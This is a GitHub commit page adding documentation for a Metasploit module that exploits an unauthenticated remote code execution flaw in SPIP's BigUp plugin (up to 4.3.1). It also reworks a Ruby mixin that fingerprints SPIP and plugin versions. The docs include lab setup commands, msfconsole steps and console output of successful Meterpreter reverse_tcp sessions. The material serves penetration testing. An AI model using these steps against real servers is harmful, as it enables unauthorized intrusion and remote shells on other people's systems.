-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
402 additions
and
29 deletions.
There are no files selected for viewing
129 changes: 129 additions & 0 deletions
129
documentation/modules/exploit/multi/http/spip_bigup_unauth_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,129 @@ | ||
## Vulnerable Application | ||
|
||
This Metasploit module exploits a Remote Code Execution vulnerability in SPIP | ||
versions up to and including 4.3.1, specifically in the BigUp plugin. | ||
The vulnerability occurs due to improper handling of file uploads in the | ||
`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request. | ||
This allows an attacker to inject and execute arbitrary PHP code on the server. | ||
|
||
### Non-Docker Setup | ||
|
||
To replicate a vulnerable environment for testing, follow these steps: | ||
|
||
1. Download and set up SPIP version 4.3.1. | ||
2. Use the built-in PHP server to host the SPIP instance. | ||
|
||
#### Commands to Set Up the Vulnerable Environment: | ||
|
||
```bash | ||
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip | ||
mkdir spip && mv spip-v4.3.1.zip spip | ||
cd spip && unzip spip-v4.3.1.zip | ||
php -S 0.0.0.0:8000 | ||
``` | ||
|
||
- **SPIP Access URL:** `http://localhost:8000` | ||
- **SPIP Version:** 4.3.1 | ||
|
||
After starting the PHP server, SPIP will be accessible at `http://localhost:8000`. | ||
|
||
To complete the installation: | ||
|
||
1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel. | ||
2. Follow the on-screen instructions to complete the setup. | ||
|
||
## Verification Steps | ||
|
||
1. Set up a SPIP instance using the commands provided above. | ||
2. Launch `msfconsole` in your Metasploit framework. | ||
3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`. | ||
4. Set `RHOSTS` to the local IP address or hostname of the target. | ||
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. | ||
6. Execute the exploit using the `run` or `exploit` command. | ||
7. If the target is vulnerable, the module will execute the specified payload. | ||
|
||
## Options | ||
|
||
- **FORM_PAGE**: This option allows you to specify a custom page on the target SPIP installation that contains a form. | ||
By default, the module will automatically check the `login` and `contact` pages for forms, | ||
but if you know of another page that contains a form, you can specify it here. | ||
For example, if an article page contains a form, you can set this option like so: | ||
|
||
``` | ||
set FORM_PAGE /spip.php?article1 | ||
``` | ||
|
||
This will instruct the module to look for the form data on `/spip.php?article1`. | ||
If the specified page contains the vulnerable form, the module will proceed with the exploitation. | ||
This option is particularly useful when the default pages (`login` and `contact`) do not contain the form or are not accessible. | ||
|
||
## Scenarios | ||
|
||
### Successful Exploitation Against Local SPIP 4.3.1 | ||
|
||
**Setup**: | ||
|
||
- Local SPIP instance with version 4.3.1. | ||
- Metasploit Framework. | ||
|
||
**Steps**: | ||
|
||
1. Start `msfconsole`. | ||
2. Load the module: | ||
```bash | ||
use exploit/multi/http/spip_bigup_unauth_rce | ||
``` | ||
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1). | ||
4. Configure other necessary options (`TARGETURI`, `SSL`, etc.). | ||
5. Launch the exploit: | ||
```bash | ||
exploit | ||
``` | ||
|
||
**Expected Results**: | ||
|
||
With `php/meterpreter/reverse_tcp`: | ||
|
||
```bash | ||
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 | ||
|
||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] SPIP Version detected: 4.3.1 | ||
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable. | ||
[*] Preparing to send exploit payload to the target... | ||
[*] Sending stage (39927 bytes) to 192.168.1.36 | ||
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:46322) at 2024-09-03 20:08:36 +0200 | ||
|
||
meterpreter > sysinfo | ||
Computer : linux | ||
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > | ||
``` | ||
|
||
With `cmd/linux/http/x64/meterpreter/reverse_tcp`: | ||
|
||
```bash | ||
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000 | ||
|
||
[*] Started reverse TCP handler on 192.168.1.36:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] SPIP Version detected: 4.3.1 | ||
[+] The target appears to be vulnerable. The detected SPIP version (4.3.1) is vulnerable. | ||
[*] Preparing to send exploit payload to the target... | ||
[*] Sending stage (3045380 bytes) to 192.168.1.36 | ||
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:58062) at 2024-09-03 20:09:20 +0200 | ||
|
||
meterpreter > sysinfo | ||
Computer : 192.168.1.36 | ||
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` | ||
|
||
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target. | ||
|
||
**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,46 +1,111 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf | ||
module Exploit::Remote::HTTP::Spip | ||
module Exploit::Remote::HTTP::Spip | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
def initialize(info = {}) | ||
super | ||
|
||
def initialize(info = {}) | ||
super | ||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to Spip install', '/']) | ||
]) | ||
end | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to Spip install', '/']) | ||
]) | ||
end | ||
# Determine Spip version | ||
# | ||
# @return [Rex::Version] Version as Rex::Version | ||
def spip_version | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'spip.php') | ||
) | ||
|
||
# Determine Spip version | ||
# | ||
# @return [Rex::Version] Version as Rex::Version | ||
def spip_version | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, "spip.php") | ||
) | ||
return unless res | ||
|
||
return unless res | ||
version = nil | ||
|
||
version = nil | ||
potential_sources = [ | ||
res.get_html_document.at('head/meta[@name="generator"]/@content')&.text, | ||
res.headers['Composed-By'] | ||
] | ||
|
||
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text | ||
if version_string =~ /SPIP (.*)/ | ||
version = ::Regexp.last_match(1) | ||
end | ||
potential_sources.each do |text| | ||
next unless text | ||
|
||
if text =~ /SPIP\s(\d+(\.\d+)+)/ | ||
version = ::Regexp.last_match(1) | ||
break | ||
end | ||
end | ||
|
||
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*)/ | ||
version = ::Regexp.last_match(1) | ||
return version ? Rex::Version.new(version) : nil | ||
end | ||
|
||
if version.nil? | ||
return nil | ||
# Determine Spip plugin version by name | ||
# | ||
# @param [String] plugin_name Name of the plugin to search for | ||
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found | ||
def spip_plugin_version(plugin_name) | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'spip.php') | ||
) | ||
|
||
return unless res | ||
|
||
# Check the Composed-By header for plugin version or config.txt URL | ||
composed_by = res.headers['Composed-By'] | ||
return unless composed_by | ||
|
||
# Case 1: Look for config.txt URL in the header | ||
if composed_by =~ %r{(https?://[^\s]+/local/config\.txt)}i | ||
config_url = ::Regexp.last_match(1) | ||
vprint_status("Found config.txt URL: #{config_url}") | ||
|
||
# Fetch and parse the config.txt file directly | ||
config_res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => config_url | ||
) | ||
|
||
if config_res&.code == 200 | ||
return parse_plugin_version(config_res.body, plugin_name) | ||
end | ||
end | ||
|
||
# Case 2: Check for plugin version directly in Composed-By | ||
composed_by.split(',').each do |entry| | ||
if entry =~ /#{plugin_name}\((\d+(\.\d+)+)\)/ | ||
return Rex::Version.new(::Regexp.last_match(1)) | ||
end | ||
end | ||
|
||
# Case 3: Fallback to fetching /local/config.txt directly | ||
vprint_status('No version found in Composed-By header. Attempting to fetch /local/config.txt directly.') | ||
config_url = normalize_uri(target_uri.path, 'local', 'config.txt') | ||
config_res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => config_url | ||
) | ||
|
||
return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200 | ||
|
||
nil | ||
end | ||
|
||
return Rex::Version.new(version) | ||
# Parse the plugin version from config.txt or composed-by | ||
# | ||
# @param [String] body The body content to parse | ||
# @param [String] plugin_name Name of the plugin to find the version for | ||
# @return [Rex::Version, nil] Version of the plugin as Rex::Version, or nil if not found | ||
def parse_plugin_version(body, plugin_name) | ||
body.each_line do |line| | ||
if line =~ /#{plugin_name}\((\d+(\.\d+)+)\)/ | ||
return Rex::Version.new(::Regexp.last_match(1)) | ||
end | ||
end | ||
nil | ||
end | ||
end | ||
|
||
end | ||
end |
Oops, something went wrong.